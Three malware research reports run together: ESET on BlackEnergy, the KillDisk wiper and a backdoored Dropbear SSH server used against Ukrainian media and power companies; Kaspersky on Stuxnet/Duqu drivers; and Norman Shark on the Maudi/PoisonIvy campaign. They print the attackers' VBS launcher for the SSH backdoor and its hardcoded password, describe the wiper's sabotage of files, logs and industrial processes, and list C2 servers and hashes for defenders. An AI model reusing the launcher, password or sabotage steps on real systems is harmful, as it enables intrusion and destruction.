The cybercriminal group behind BlackEnergy, the malware family that has been around since 2007 and has made a comeback in 2014 (see our previous blog posts on Back in BlackEnergy : 2014 Targeted Attacks http://www.welivesecurity.com/2016/01/04/blackenergy-trojan-strikes-again-attacks-ukrainian-electric-power-industry/ http://www.welivesecurity.com/2014/09/22/back-in-blackenergy-2014/ 4/10/2016 BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry  www.welivesecurity.com https://www.readability.com/articles/oj1sikel 3/13 in Ukraine and Poland and BlackEnergy PowerPoint Campaigns, as well as our Virus Bulletin talk on the subject), was also active in the year 2015.
ESET has recently discovered that the BlackEnergy trojan was recently used as a backdoor to deliver a destructive KillDisk component in attacks against Ukrainian news media companies and against the electrical power industry.
In this blog, we provide details on the BlackEnergy samples ESET has detected in 2015, as well as the KillDisk components used in the attacks.
Furthermore, we examine a previously unknown SSH backdoor that was also used as another channel of accessing the infected systems, in addition to BlackEnergy.
We continue to monitor the BlackEnergy malware operations for future developments.
For any inquiries or to make sample submissions related to the subject, contact us at: threatinteleset.com BlackEnergy evolution in 2015 http://www.welivesecurity.com/2014/09/22/back-in-blackenergy-2014/ http://www.welivesecurity.com/2014/10/14/cve-2014-4114-details-august-blackenergy-powerpoint-campaigns/ https://www.virusbtn.com/conference/vb2014/abstracts/LM3-LipovskyCherepanov.xml mailto:threatinteleset.com 4/10/2016 BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry  www.welivesecurity.com https://www.readability.com/articles/oj1sikel 4/13 Once activated, variants of BlackEnergy Lite allow a malware operator to check specific criteria in order to assess whether the infected computer truly belongs to the intended target.
If that is the case, the dropper of a regular BlackEnergy variant is pushed to the system.
The exact mechanism of infection by BlackEnergy is described in our Virus Bulletin presentation and this whitepaper by F-Secure.
The BlackEnergy malware stores XML configuration data embedded in the binary of DLL payload.
Figure 1  The BlackEnergy configuration example used in 2015 Apart from a list of CC servers, the BlackEnergy config contains a value called build_id.
This value is a unique text string used to identify individual infections or infection attempts by the BlackEnergy malware https://www.virusbtn.com/conference/vb2014/abstracts/LM3-LipovskyCherepanov.xml https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf http://www.welivesecurity.com/wp-content/uploads/2016/01/Figure_1_config_example.png 4/10/2016 BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry  www.welivesecurity.com https://www.readability.com/articles/oj1sikel 5/13 operators.
The combinations of letters and numbers used can sometimes reveal information about the campaign and targets.
Here is the list of Build ID values that we identified in 2015: 2015en khm10 khelm 2015telsmi 2015ts 2015stb kiev_o brd2015 11131526kbp 02260517ee 03150618aaa 11131526trk We can speculate that some of them have a special meaning.
For example 2015telsmi could contain the Russian acronym SMI  Sredstva Massovoj Informacii, 2015en could mean Energy, and theres also the obvious Kiev.
https://en.wiktionary.org/wiki/D0A1D09CD098 4/10/2016 BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry  www.welivesecurity.com https://www.readability.com/articles/oj1sikel 6/13 KillDisk component In 2014 some variants of the BlackEnergy trojan contained a plugin designed for the destruction of the infected system, named dstr.
In 2015 the BlackEnergy group started to use a new destructive BlackEnergy component detected by ESET products as Win32/KillDisk.
NBB, Win32/KillDisk.
NBC and Win32/KillDisk.
NBD trojan variants.
The main purpose of this component is to do damage to data stored on the computer: it overwrites documents with random data and makes the OS unbootable.
The first known case where the KillDisk component of BlackEnergy was used was documented by CERT-UA in November 2015.
In that instance, a number of news media companies were attacked at the time of the 2015 Ukrainian local elections.
The report claims that a large number of video materials and various documents were destroyed as a result of the attack.
http://cert.gov.ua/?p2370 4/10/2016 BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry  www.welivesecurity.com https://www.readability.com/articles/oj1sikel 7/13 It should be noted that the Win32/KillDisk.
NBB variant used against media companies is more focused on destroying various types of files and documents.
It has a long list of file extensions that it tries to overwrite and delete.
The complete list contains more than 4000 file extensions.
Figure 2  A partial list of file extensions targeted for destruction by KillDisk.
NBB The KillDisk component used in attacks against energy companies in Ukraine was slightly different.
Our analysis of the samples shows that the main changes made in the newest version are: Now it accepts a command line argument, to set a specific time delay when the destructive payload should activate.
It also deletes Windows Event Logs : Application, Security, Setup, System.
It is less focused on deleting documents.
Only 35 file extensions are targeted.
http://www.welivesecurity.com/wp-content/uploads/2016/01/Figure_2_Filetypes.png 4/10/2016 BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry  www.welivesecurity.com https://www.readability.com/articles/oj1sikel 8/13 Figure 3  A list of file extensions targeted for destruction by new variant of KillDisk component As well as being able to delete system files to make the system unbootable  functionality typical for such destructive trojans  the KillDisk variant detected in the electricity distribution companies also appears to contain some additional functionality specifically intended to sabotage industrial systems.
Once activated, this variant of the KillDisk component looks for and terminates two non-standard processes with the following names: komut.exe sec_service.exe We didnt manage to find any information regarding the name of the first process (komut.exe).
The second process name may belong to software called ASEM Ubiquity, a software platform that is often used in Industrial control systems (ICS), or to ELTIMA Serial to Ethernet Connector.
In case the 4/10/2016 BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry  www.welivesecurity.com https://www.readability.com/articles/oj1sikel 9/13 process is found, the malware does not just terminate it, but also overwrites the executable file with random data.
Backdoored SSH server In addition to the malware families already mentioned, we have discovered an interesting sample used by the BlackEnergy group.
During our investigation of one of the compromised servers we found an application that, at first glance, appeared to be a legitimate SSH server called Dropbear SSH.
In the order to run the SSH server, the attackers created a VBS file with the following content: Set WshShell  CreateObject(WScript.
Shell) WshShell.
CurrentDirectory C:\WINDOWS\TEMP\Dropbear\ WshShell.
Run dropbear.exe -r rsa -d dss -a -p 6789, 0, false As is evident here, the SSH server will accept connections on port number 6789.
By running SSH on the server in a compromised network, attackers can https://matt.ucc.asn.au/dropbear/dropbear.html 4/10/2016 BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry  www.welivesecurity.com https://www.readability.com/articles/oj1sikel 10/13 come back to the network whenever they want.
However, for some reason this was not enough for them.
After detailed analysis we discovered that the binary of the SSH server actually contains a backdoor.
Figure 4  Backdoored authentication function in SSH server As you can see in Figure 4, this version of Dropbear SSH will authenticate the user if the password passDs5Bu9Te7 was entered.
The same situation applies to authentication by key pair  the server http://www.welivesecurity.com/wp-content/uploads/2016/01/Figure_4_SSH_password_backdoor_NEW.png 4/10/2016 BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry  www.welivesecurity.com https://www.readability.com/articles/oj1sikel 11/13 contains a pre-defined constant public key and it allows authentication only if a particular private key is used.
Figure 5  The embedded RSA public key in SSH server ESET security solutions detect this threat as Win32/SSHBearDoor.
A trojan.
Indicators of Compromise (IoC) IP addresses of BlackEnergy C2-servers: 5.149.254.114 5.9.32.230 31.210.111.154 88.198.25.92 146.0.74.7 188.40.8.72 XLS document with malicious macro SHA-1: AA67CA4FB712374F5301D1D2BAB0AC66107A4DF1 BlackEnergy Lite dropper SHA-1: 4C424D5C8CFEDF8D2164B9F833F7C631F94C5A4C http://www.welivesecurity.com/wp-content/uploads/2016/01/Figure_5_SSH_rsa_pubkey.png 4/10/2016 BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry  www.welivesecurity.com https://www.readability.com/articles/oj1sikel 12/13 BlackEnergy Big dropper SHA-1: 896FCACFF6310BBE5335677E99E4C3D370F73D96 BlackEnergy drivers SHA-1: 069163E1FB606C6178E23066E0AC7B7F0E18506B 0B4BE96ADA3B54453BD37130087618EA90168D72 1A716BF5532C13FA0DC407D00ACDC4A457FA87CD 1A86F7EF10849DA7D36CA27D0C9B1D686768E177 1CBE4E22B034EE8EA8567E3F8EB9426B30D4AFFE 20901CC767055F29CA3B676550164A66F85E2A42 2C1260FD5CEAEF3B5CB11D702EDC4CDD1610C2ED 2D805BCA41AA0EB1FC7EC3BD944EFD7DBA686AE1 4BC2BBD1809C8B66EECD7C28AC319B948577DE7B 502BD7662A553397BBDCFA27B585D740A20C49FC 672F5F332A6303080D807200A7F258C8155C54AF 84248BC0AC1F2F42A41CFFFA70B21B347DDC70E9 A427B264C1BD2712D1178912753BAC051A7A2F6C A9ACA6F541555619159640D3EBC570CDCDCE0A0D B05E577E002C510E7AB11B996A1CD8FE8FDADA0C BD87CF5B66E36506F1D6774FD40C2C92A196E278 BE319672A87D0DD1F055AD1221B6FFD8C226A6E2 C7E919622D6D8EA2491ED392A0F8457E4483EAE9 CD07036416B3A344A34F4571CE6A1DF3CBB5783F D91E6BB091551E773B3933BE5985F91711D6AC3B 4/10/2016 BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry  www.welivesecurity.com https://www.readability.com/articles/oj1sikel 13/13 E1C2B28E6A35AEADB508C60A9D09AB7B1041AFB8 E40F0D402FDCBA6DD7467C1366D040B02A44628C E5A2204F085C07250DA07D71CB4E48769328D7DC KillDisk-components SHA-1: 16F44FAC7E8BC94ECCD7AD9692E6665EF540EEC4 8AD6F88C5813C2B4CD7ABAB1D6C056D95D6AC569 6D6BA221DA5B1AE1E910BBEAA07BD44AFF26A7C0 F3E41EB94C4D72A98CD743BBB02D248F510AD925 VBS/Agent.
AD trojan SHA-1: 72D0B326410E1D0705281FDE83CB7C33C67BC8CA Win32/SSHBearDoor.
A trojan SHA-1: 166D71C63D0EB609C4F77499112965DB7D9A51BB Picture credits: flickr/tanozzo Author Anton Cherepanov, ESET Original URL: http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015- attacks-ukrainian-news-media-electric-industry/ https://www.flickr.com/photos/tanozzo/4778327737/in/photolist-8hfbmZ-bDuZYz-hDMaip-5VBPny-nTpobM-bjnSt8-obiT2T-6dLNys-ijocCK-b4MfsH-oKUfSr-xmzJEz-kXBnVr-kRUAw-6QwkKt-oaKuyv-itcRjN-5XJ5vs-4NWXby-eqCMfw-Uykkj-ozd6wq-84iqKk-YHqSi-x8SLP-b8Berg-9ZQbLV-kXBhDV-wazGaq-5UGzx1-hJd44C-gtMnyH-rgen12-rK8mhU-aryyDA-9mZLcv-m9CBct-kLyvjg-bf2wBz-8ZAdkB-4MVwFt-arJhqe-dp9nky-dUXpjv-Bd7HW-AXDksz-c3Z5dA-c3Z4Cs-c3Z3GC-c3YZU1 http://www.welivesecurity.com/author/acherepanov/
Stuxnet/Duqu: The Evolution of Drivers We have been studying the Duqu Trojan for two months now, exploring how it emerged, where it was distributed and how it operates.
Despite the large volume of data obtained (most of which has yet to be published), we still lack the answer to the fundamental question - who is behind Duqu?
In addition, there are other issues, mostly to do with the creation of the Trojan, or rather the platform used to implement Duqu as well as Stuxnet.
In terms of architecture, the platform used to create Duqu and Stuxnet is the same.
This is a driver file which loads a main module designed as an encrypted library.
At the same time, there is a separate configuration file for the whole malicious complex and an encrypted block in the system registry that defines the location of the module being loaded and name of the process for injection.
Conventional platform architecture for Stuxnet and Duqu This platform can be conventionally named as Tilded as its authors are, for some reason, inclined to use file names which start with d. We believe Duqu and Stuxnet were simultaneous projects supported by the same team of developers.
Several other details have been uncovered which suggest there was possibly at least one further spyware module based on the same platform in 2007-2008, and several other programs whose functionality was unclear between 2008 and 2010.
These facts significantly challenge the existing official history of Stuxnet.
We will try to cover them in this publication, but let us first recap the story so far.
The official Stuxnet story Let me start with a question: how many Stuxnet driver files are known?
As of today, the correct answer would be four.
See below for more information about them.
File name Size (bytes) Compilation date Where and when it was used Digital signature/signing date Mrxcls.sys 19840 01.01.2009 Stuxnet (22.06.2009) No Mrxcls.sys 26616 01.01.2009 Stuxnet (01.03.2010/14.04.2010) Realtek, 25.01.2010 Mrxnet.sys 17400 25.01.2010 Stuxnet (01.03.2010/14.04.2010) Realtek, 25.01.2010 Jmidebs.sys 25552 14.07.2010 Presumably, Stuxnet Jmicron, unknown The first modification of the Stuxnet worm, created in 2009, used only one driver file - mrxcls.sys without a digital signature.
In 2010, the authors created the second driver mrxnet.sys (to hide the worms component files on USB drives) and equipped mrxnet.sys and mrxcls.sys drivers with digital certificates from Realtek.
The mrxnet.sys driver is of no great significance to our story, as it is a separate module not included into the general architecture of the platform.
On 17 July 2010, ESET detected another driver in the wild - jmidebs.sys - which was very similar to the already known mrxcls.sys, but had been created just three days before it was discovered.
This driver was backed with a new certificate - this time from Jmicron.
Until recently it was unclear what the purpose of this file was, but popular opinion held that it was related to Stuxnet.
One theory is that the Stuxnet CC was trying to replace the old version with the Realtek certificate with a new one.
In doing so, the authors of the worm were either hoping to prevent it being picked up by antivirus programs, or were replacing a certificate which had been blocked.
Unfortunately, this theory has not been confirmed - Jmidebs.sys has never been detected anywhere.
A new version of Stuxnet capable of installing the file has also not been found.
This is the official history of Stuxnet.
However, as I mentioned above, in the course of our research we have discovered new evidence which will be discussed below.
Previously unknown drivers rtniczw.sys While analyzing a user incident involving Duqu, we discovered something new - something that could, potentially, affect the whole Stuxnet story as we know it.
A strange file was discovered on the victims computer, which was detected by our antivirus engine as Rootkit.
Win32.Stuxnet.a.
This verdict was supposed to correspond to the known file mrxcls.sys described above, but the detected files name and checksum were different The file was rtniczw.sys, 26,872 bytes in size, MD5 546C4BBEBF02A1604EB2CAAAD4974DE0.
The file was a little larger than mrxcls.sys, which had a Realtek digital signature.
This implied that rtniczw.sys also had a digital signature.
We managed to get a copy of the file, and we were amazed to find that it used the same Realtek certificate, but with a different file signing date from mrxcls.sys: rtniczw.sys was signed on 18 March 2010, while the mrxcls driver had been signed on 25 January of the same year.
https://kasperskycontenthub.com/securelist/files/2011/12/Mrxcls.png https://kasperskycontenthub.com/securelist/files/2011/12/Rtniczw.png In addition, rtniczw.sys used a registry key and configuration data block that was not used in Stuxnet.
Stuxnet used the key MRxCls and the value Data, while in the case of rtniczw.sys, the key was rtniczw and the value was Config.
Detailed analysis of the code found in rtniczw.sys identified no other differences from the reference driver: this was the same mrxcls.sys file, created in the same year, on the same day and hour - on 1 January 2009.
We searched for additional information about other users who had the same file, but were unable to find anything Moreover, we could find no information at all about the files name (rtniczw.sys) or its MD5 in any search engine.
The file had been identified only once: it had been sent for scanning to VirusTotal from China in May 2011.
Apparently, the system that we were studying had been infected in late August 2011.
It should be noted that we did not find a Stuxnet infection on the system: no additional files from the Stuxnet kit had been found.
However, we did find Duqu files.
We came to the conclusion that there could be other driver files similar to the reference file mrxcls.sys, which are not among known variants of Stuxnet.
rndismpc.sys A check in our malware collection helped identify another interesting file that was included in the collection over a year ago.
The file is named rndismpc.sys, it is 19,968 bytes in size, MD5 9AEC6E10C5EE9C05BED93221544C783E.
This turned out to be another driver, with functionality very nearly identical to that of mrxcls.sys apart from the following exceptions: 1.
rndismpc.sys uses a registry key that is different from the keys used by both mrxcls and rtniczw - it is the key rndismpc with the value Action 2.
it uses an encryption key that is different from that used by mrxcls/rtniczw - 0x89CF98B1 3.
the files compilation date is 20 January 2008, i.e.
a year before mrxcls/rtniczw were created.
Like rtniczw.sys, the file rndismpc.sys had never been encountered on our users machines.
We do not know which malicious program installed it or which main module it was supposed to work with.
The connecting link: mrxcls.sys -- jmidebs.sys --Duqu drivers The data obtained and the available information about the drivers used in Duqu (see The Mystery of Duqu, Part One and Part Two) can be summed up in the table below: Name Size Compi- lation date Main module Encryption key Registry key Value Device name rndismpc.sys 19968 20.01.
2008 Unknown 0x89CF98B1 rndismpc Action rndismpc mrxcls.sys 19840 01.01.
2009 Stuxnet.a 0xAE240682 MRxCls Data MRxClsDvX mrxcls.sys (signed) 26616 01.01.
2009 Stuxnet.b/.c 0xAE240682 MRxCls Data MRxClsDvX rtniczw.sys (signed) 26872 01.01.
2009 Unknown 0xAE240682 rtniczw Config RealTekDev291 jmidebs.sys (signed) 25502 14.07.
2010 Unknown 0xAE240682 jmidebs IDE 3093983-109232-29291 .sys Different 03.11.
2010 Duqu 0xAE240682 FILTER 3093AAZ3-1092-2929- 9391 .sys Different 17.10.
2011 Duqu 0x20F546D3 FILTER 624409B3-4CEF-41c0- 8B81-7634279A41E5 Known Duqu drivers have unique file names for each of the variants.
Their functionality, however, is absolutely identical.
According to our analysis, jmidebs.sys is the connecting link between mrxcls.sys and the drivers later used in Duqu.
The code of mrxcls and jmidebs drivers is largely similar.
Some small differences may be due to different settings and minimal changes in the source code, while the point of the code remains the same.
However, more significant changes can be found in several functions: 1.
The service function which obtains addresses of API functions: The version in mrxcls uses the function MmGetSystemRoutineAddress for this purpose and the respective text names of the addresses of incoming API functions.
The version in jmidebs calls its own functions to obtain API addresses using hash-sums of their names.
The same functions are used in Duqu drivers, while the list of functions hashes is twice as long.
2.
The function which creates stubs to inject PNF DLL into processes: The mrxcls version uses a stub with a total size of 6332 bytes.
http://kasperskycontenthub.com/securelist/?p31177 http://kasperskycontenthub.com/securelist/?p31445 The jmidebs and Duqu drivers use stubs with a total size of 7061 bytes.
The code used in the stub modules for these drivers is identical, but has different compilation dates.
Mrxcls (Stuxnet) jmidebs Duqu API RtlGetVersion, KeAreAllApcsDisabled, obtained by calling MmGetSystemRoutineAddress RtlGetVersion, KeAreAllApcsDisabled, PsGetProcessSessionId, PsGetProcessPeb obtained with their own functions Similar to jmidebs, 4 more functions added Injected EXE 6332 Jan 01 22:53:23 2009 7061 Jul 14 13:05:31 2010 7061 Different compilation dates Driver evolution We have mapped out the links between known drivers whose evolution and key stages of development are easy to track.
https://kasperskycontenthub.com/securelist/files/2011/12/Driver-evolution-from-2008-to-2011.png Driver evolution from 2008 to 2011 rndismpc.sys, rtniczw.sys and jmidebs.sys As you can see from the diagram, it is not known which malicious program interacted with the following three drivers: rndismpc.sys, rtniczw.sys and jmidebs.sys.
The obvious question would be: were they used in Stuxnet?
In our opinion, the answer would have to be no.
https://kasperskycontenthub.com/securelist/files/2011/12/Driver-evolution-from-2008-to-2011.png First of all, if they had been used in Stuxnet, they would have left a far bigger footprint than the individual cases we have detected.
Secondly, there hasnt been a single variant of Stuxnet that is capable of interacting with these drivers.
The file rtniczw.sys was signed on 18 March 2010, but on 14 April 2010 the Stuxnet authors created a new variant of the worm that made use of the reference mrxcls.sys.
It is obvious that rtniczw.sys was intended for some other use.
The same can be said of jmidebs.sys.
We believe that the three drivers are only indirectly related to Stuxnet and can safely be erased from Stuxnet history.
Then there is another question: could these drivers have been used with Duqu?
There is no clear-cut answer here.
Although all known variations of Duqu are from the period November 2010-October 2011, we believe there were earlier versions of the Trojan spy created to steal information.
The three drivers in question could easily have been used in early versions of Duqu or with other Trojans based on the Stuxnet/Duqu platform.
Like Duqu, those Trojans were most probably used in targeted attacks before the appearance of Stuxnet (dating back to at least 2008), both while it was active and after its CC was shut down.
They were likely to have been parallel projects, and Stuxnet was subsequently based on that accumulated experience and the code that had already been written.
It seems highly unlikely that this was the only project that its authors were involved in.
The driver creation process Lets try to imagine what the driver creation process looks like.
A few times a year the authors compile a new version of a driver file, creating a reference file.
The primary purpose of this file is to load and execute a main module, which is created separately.
It could be Stuxnet, or Duqu or something else.
When it is necessary to use a driver for a new module, the authors use a dedicated program to modify information in the drivers reference file, i.e.
its name and service information as well as the registry key and its value.
Its important to note that they tweak ready-made files and dont create a new one from scratch.
This means they can make as many different driver files as they like, each having exactly the same functionality and creation date.
Depending on the aim of the attack and the Trojans victim, several driver files can then be signed with legitimate digital certificates whose origins remain unknown.
Conclusion From the data we have at our disposal, we can say with a fair degree of certainty that the Tilded platform was created around the end of 2007 or early 2008 before undergoing its most significant changes in summer/autumn 2010.
Those changes were sparked by advances in code and the need to avoid detection by antivirus solutions.
There were a number of projects involving programs based on the Tilded platform throughout the period 2007-2011.
Stuxnet and Duqu are two of them - there could have been others, which for now remain unknown.
The platform continues to develop, which can only mean one thing - were likely to see more modifications in the future.
1   T h e  C h i n e s e  M a l w a r e  C o m p l e x e s : M a u d i        N o r m a n  S h a r k NORMAN SHARK The Chinese Malware Complexes: The Maudi Surveillance Operation Snorre Fagerland, Principal Security Researcher 2   T h e  C h i n e s e  M a l w a r e  C o m p l e x e s : M a u d i        N o r m a n  S h a r k Introduction Maudi is a series of small malwares that share similar configuration and behaviour.
The naming of this family has not been very established, but some samples are detected by some vendors as Maudi or PoisonIvy.
This is partly accurate as Maudi trojans in almost all cases install the well known PoisonIvy remote access trojan.
These malwares are not particularly new - they have been in circulation for a long time, probably going back to at least 2009.
Still, they provide a backdrop to other attacks that is interesting.
Behaviour The malware itself is not very complex.
These are small installers that create two files  one library (typically called msacm32.drv, ntshrui.dll or wdmaud.drv) in the Windows folder, and a raw PoisonIvy shellcode blob called user.dat, user.db, temp.db or something along those lines.
The installer then spawns explorer.exe, which then automatically loads the malicious library through a mechanism called DLL hijacking aka DLL preloading (1).
There are innocent libraries with the same names in the Windows System folder, but since the malicious libraries are placed in the Windows folder, they sneak in the queue and Explorer loads them first.
The malicious library then reads and directly calls the PoisonIvy code in user.dat, which establishes an encrypted communication with the configured CC server.
When communication is established, the attacker has unauthorized access to the computer.
3   T h e  C h i n e s e  M a l w a r e  C o m p l e x e s : M a u d i        N o r m a n  S h a r k Configuration PoisonIvy code blobs are preconfigured in the PoisonIvy builder program to contain information about which Command Control server to contact, which port to establish connection on, and various other parameters.
The PoisonIvy builder The Maudi PoisonIvy droppers contain their own small xor-encoded configuration block which overrides the default settings stored in the PoisonIvy blob.
This usually contains the name of the CC server, port and what corresponds to the PoisonIvy profile ID.
Example Maudi configuration: Profile ID: xfish CC: 171088046.gnway.org port:  0x0D84  3460 The ID xfish is used in many of these malwares and may be a default value, but there are many others in use.
4   T h e  C h i n e s e  M a l w a r e  C o m p l e x e s : M a u d i        N o r m a n  S h a r k PoisonIvy uses the Camellia 256-bit block cipher for its encrypted communication.
The password for this communication is usually hardcoded in the malware itself the default value used by the builder is admin.
The passwords used by Maudi droppers vary.
Sometimes the default value is used, other times the password is set to longer strings.
There seems to be an affinity for passwords of length 11 (0x0b).
A few are shown below.
20110105110 12345678901 beijing2011 41232619820 20110228001 20110000000 11111111111 Some Maudi-PoisonIvy server passwords 5   T h e  C h i n e s e  M a l w a r e  C o m p l e x e s : M a u d i        N o r m a n  S h a r k Certificates The interesting bit with these trojans is that practically all of them are digitally signed using self-made test certficates.
These certificates vary somewhat, but most contain the recognizable string WWW.CeleWare.
NET or WWW.AeleWare.
NET in their Organizational Unit (OU) section.
The CeleWare strings are default values left by the free code signing tool CeleSign.exe from Yonsm.
NET.
Though the tool itself seems innocent enough, many files signed by it are malicious.
There were a number of different such certificates, and it may be that the varying certificates denote different campaigns, projects or other contexts  for example, all samples we have seen signed DataBaseHotmail.com are droppers that install Maudi components signed MogolSoftHotmail.com or SoftSignHotMail.com.
6   T h e  C h i n e s e  M a l w a r e  C o m p l e x e s : M a u d i        N o r m a n  S h a r k Stolen certificates Though by far most of these malwares use test certificates, not all follow this pattern.
A few are not signed at all, and in two cases we have seen the use of a stolen certificate.
The certificate in question belongs to YNK Japan Inc.
This is the configuration block from one of the YNK-signed Maudi samples.
CC is p.hannmaill.net, port is 3460 (0xD84), and tag is xfish.
These two trojans are configured to connect to p.hannmaill.net and s.hiinet.net, respectively.
These domains appear registered by the same entity (sofoxmangmail.com).
Both the domains and the certificate have been connected to targeted attack campaigns before.
7   T h e  C h i n e s e  M a l w a r e  C o m p l e x e s : M a u d i        N o r m a n  S h a r k Infrastructure By combining certificates and commandcontrol infrastructure we can construct a partial image of this malware operation Note: A high-resolution version of this graphic is appended to this report.
In this diagram the samples are organized in clusters signed similarly.
What quickly becomes obvious is that most of the samples are connected either they use the same certificate, or their certificate cluster is connected with other clusters through common CommandControl servers.
Some clusters (shown at the lower right and left side) seem unconnected beyond the fact that they use the same malware.
The CommandControl servers used are in many cases organized through well-known dynamic DNS providers such as 3322.org, zapto.org and so on, but there are also a few seemingly directly registered second level domains.
A full list of these is provided in the appendix.
8   T h e  C h i n e s e  M a l w a r e  C o m p l e x e s : M a u d i        N o r m a n  S h a r k Targeting Local Chinese interests and human rights activists We do not have extensive data on which targets have been exposed to Maudi malware, but we have some examples which give decent hints.
Some Maudi droppers display images, like the ones below: This picture was widely distributed in 2009, and allegedly showed results of violence during an Uighur riot.
However, it was later reported to be taken from a car accident.
This picture from Xinhuanet is reportedly from the 2008 riots in Lhasa, Tibet.
9   T h e  C h i n e s e  M a l w a r e  C o m p l e x e s : M a u d i        N o r m a n  S h a r k These are classic examples of decoys used in targeted campaigns against activists working for the rights of ethnic minorities within the Chinese borders.
Other decoy documents contain small messages in Chinese and Chinese name listings.
This gives the general impression that this family is used mostly against domestic Chinese targets and human rights activists.
Other research has confirmed this impression.
In his 2010 article Human Rights and Malware Attacks (2), security researcher Nart Villeneuve documents the use of Maudi as the downloaded payload of spearphishing attacks.
The initial payload in that case was a mail attachment, an exploited PDF file (readme.pdf, md5 72bdca7dd12ed04b21dfa60c5c2ab6c4) which downloaded and decoded an encoded blob (md5 ec16143a14c091100e7af30de03fce1f) from the site www.humanright-watch.org, not to be confused with the legitimate Human Rights Watch website hrw.org.
The decoded file was a Maudi dropper, self-signed using the name softhotmail.com, and the dropped component belonged to the JinDiQIAOhotmail.com-signed cluster.
Mongolia There are hints at other targets as well.
A group of Maudis use domain names and other strings that seem to indicate a focus on a specific region, namely Mongolia.
Mongolia is an interesting country.
It is democratic with a multi-party system, and has a market-driven economy.
It is squeezed between two very powerful nations  Russia to the North and China to the South.
It is also a country rich on geological natural resources.
The initial hints about this targeting are vague.
Some of the Maudi samples are signed using self-signed certificate issued to mogolsofthotmail.com.
Others use the Command  Control domain mol-goverment.com.
This domain was registered by a known targeted attack actor, hlemonk163.com, who has registered a string of other malware- connected domains  among others goodmongol.com.
However, when looking more closely, more solid ties to Mongolian targets can be found.
The Maudi domain bodologetee.com (registered by the email entity mongolianewsyahoo.com) can be documented used in other attacks on apparent Mongolian targets.
For example, the malware dropper cc1a806d25982acdb35dd196ab8171bc, a WinRAR SFX executable installed through the use of the Word exploit CVE-2012-0158, contained a PlugX component configured to connect to ppt.bodologetee.com.
This is documented in the Norman Shark blog post The Chinese Malware Complexes: PlugX Used against Mongolian Targets.
(
3) 10   T h e  C h i n e s e  M a l w a r e  C o m p l e x e s : M a u d i        N o r m a n  S h a r k Connections to other attacks Indirectly, we see that the Maudi infrastructure shares parameters with several well known targeted attack campaigns.
o qwer.wekby.com - domain Three samples connect to qwer.wekby.com, known from the RSA breach in 2011 (4).
These samples are (md5, profile ID): 28b5241ca13603636dbf626792231161, qwerw 6a83dc3f53079e17ecc49cbc0dacc8f5, qwerw cf45dbdb3718b4b728c2dd894032464b, qwerw The malwares used in the RSA intrusion itself were also PoisonIvy, though used a different dropper mechanism and were signed using a different digital certificate.
o jeno_1980hotmail.com  domain registration Two samples connect to ns2.adultstick.com.
This domain was registered by jeno_1980hotmail.com, an email address also used to register domains used both in the Mirage (5) and Sin Digoo (6) malware campaigns.
7d36ad6aafbf1f9496ccc6ac1a8bb57e, Irqdz 64718689ee3ff695c55ea1ec213434d1, Irqdz o enbtcdyahoo.com.co  domain registration Some Maudi samples connect to windows-liveupdate.com or windowsliveupdatecache.com, domains registered by the entity enbtcdyahoo.com.co.
This address has also registered domains used in Briba (aka c0d0so0) malware, which has been used for many targeted attacks.
bd9a1fbd76c00015a59a3b5c93d4030e, zwdb c64aab79e5107fc8ffd4699288c2e3be, gzzx c9f33d544c5657d4ba55a92e06e38d06, Qbxt 49c7cae0fda8e5089e993a169c6c4197, krgqy 914fdaf7aa098ac00067a2b265fc91da, qq 11   T h e  C h i n e s e  M a l w a r e  C o m p l e x e s : M a u d i        N o r m a n  S h a r k o hlemonk163.com - domain registration This address was used to register the Maudi domains mol-government.com and newsyandex.com, used to host CC for these samples: c93f8a7a899142db1e92138b76407588 227636fb88e19eca33a02cbb46f279fb 6e88c39c270e259c4472f6eceb8a241f 865fec48937686c2d0708847f30b1264 c07e857d2602d2a813fd23d711871571 a25e5bcc52c386eb046149799ed81b2b 3563c21cf5c46e8e39f17e733c2b9b1e, h511b0 e78d39d1862338e4c711238223618e44, h511b0 This registrant has also registered a great deal of other dodgy domains.
Mol-government.com and these other domains have been used as CC by Sogu/Thoper trojans in attacks on apparent Korean and Mongolian targets, as well as by other malwares like PcClient.
o yt.bodologetee.com  domain This domain has been used as Command  Control domain for a number of samples.
It has also been documented used by PlugX malware in campaigns apparently against Mongolian targets (3).
The same registration information was used to register yahoomesseges.com, which has been used by EvilGrab (7) malware.
0cf15b88b18cdedfaae598e9498768e3, beijingnew 1e60824de00ce3c1f62fddc54a9c5c93, jiagu c64dd5393a17226b208b049a4b766bd6, jiagu 646cfe960219f1948eac580e3bd836f8, text1 ef404a76bd11e1d675b7686775ed7f1c, nsc01 o YNK JAPAN Inc  digital certificate As previously mentioned, two samples were digitally signed using a certificate belonging to YNK JAPAN Inc. a subsidiary of a Korean game producer.
This certificate has been used in several hundred samples spanning various campaigns and incidents.
One of these was the SK intrusion (8) in 2011, where one of the initial malwares - a Sogu/Thoper trojan - was signed with it.
771a376df6aba0ce31e0c8e43cdf0800, xfish c3d14ee0bd01ebc9e5844578babe462f, xfish 12   T h e  C h i n e s e  M a l w a r e  C o m p l e x e s : M a u d i        N o r m a n  S h a r k Conclusion The Maudi malware family seems to have been mostly used against Chinese/South-East Asian targets.
However, it shares some indicators (CC domains, registration information) with other, more high-profile attacks.
What these connections mean is unclear.
It might be just sharing of information between groups we know that there is quite a bit of sharing going on, particularly of malware and source code.
Less is known about how much is shared in terms of infrastructure (ex.
domains).
It is our opinion, however, that the Maudi system hints at something else.
There is for example a large amount of samples that use the same self-signed certificates in addition to overlaps in other indicators.
Self-signed certificates have little value in the underground as they can be freely made so there is little reason for sharing these.
Instead the impression is that these malwares have been signed by the same malware creation system.
Another aspect is the architecture where default PoisonIvy shellcode blobs are overridden with configuration information from the dropper.
This also may indicate homegrown build tools, possibly to alleviate language issues with the PoisonIvy builder itself.
